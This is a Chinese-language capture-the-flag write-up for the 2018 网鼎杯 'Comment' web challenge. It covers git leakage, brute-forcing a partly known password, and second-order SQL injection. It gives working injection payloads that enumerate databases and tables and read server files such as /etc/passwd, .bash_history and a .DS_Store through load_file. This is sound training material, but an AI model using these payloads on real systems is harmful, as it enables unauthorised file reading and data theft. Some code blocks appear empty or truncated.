[网鼎杯 2018]Comment
### 知识点
- git泄露
- SQL二次注入
- SQL文件读取
- 特殊文件识别和利用
用githack将文件下载下来:
1 |
|
可以存在明显的二次注入,从wrtie
功能写入,在comment
功能执行,category
字段可以用来使用payload,可以构造如下格式的payload。
先访问登录页面login.php
查看下。
注意到其中账户密码的默认填充字符,需要注意此处就是出题人给出的提示,账户为zhangwei
密码为zhangwei***
,其中的***
为三位的未知字符串需要我们爆破。
这里先***
测试为纯数字的情况。
1 | import requests as res |
可以看到***
的实际值为666
,用得到的账户和密码进行登录,接下来就可以进行二次登录了。
先写入在写入功能写入payload,如下body部分中参数category
中content=database()
部分的database()
可以替换为其他SQL查询语句或者函数,payload其余部分则可视为固定。
接着在评论功能触发二次注入,同样在此的payload也视为固定(注意项目的SQL语句为多行,所以需要#
和/**/
配合使用)。
然后就能在对应的详情页面的留言部分查看到注入后的结果。
按照惯例去依次查找下库、表、字段。
1 | title=test&category=test',content=(select(group_concat(schema_name))from(information_schema.schemata)),/*&content=test |
1 | title=test&category=test',content=(select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),/*&content=test |
但查到字段时就发现,无论在那个表都找不到flag相关的字段,这里尝试读取下文件是否可行。
1 | title=test&category=test',content=((select(load_file("/etc/passwd")))),/*&content=test |
成功了,并且可以发现WEB系统用户home目录竟然在/home
下,尝试去读取下其操作记录。
1 | title=test&category=test',content=((select(load_file("/home/www/.bash_history")))),/*&content=test |
可以看到当前项由html.zip
在原本/tmp
目录下解压再复制到/var/www
,并且记录了关于项目html
文件结构的.DS_Store
在/tmp
目录中仍存在一份,去读取这个文件了解下项目结构。
1 | title=test&category=test',content=((select(load_file("/tmp/html/.DS_Store")))),/*&content=test |
可能由于乱码问题所以无法完全读取,这里采用对其转成16进制。
1 | title=test&category=test',content=((select(hex(load_file("/tmp/html/.DS_Store"))))),/*&content=test |
可以将得到的16进制写入文件再用相关的.DS_Store文件解析器去解析,但是此处都没显示完全(可以看到16进制末尾是一串…),所以直接转换成ASCII字符来查看也是可行的。
可以识别出上图红框中文件与flag相关,去去读下,为了保险起见先尝试hex处理后的内容。
1 | title=test&category=test',content=((select(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")))),/*&content=test |
找到flag。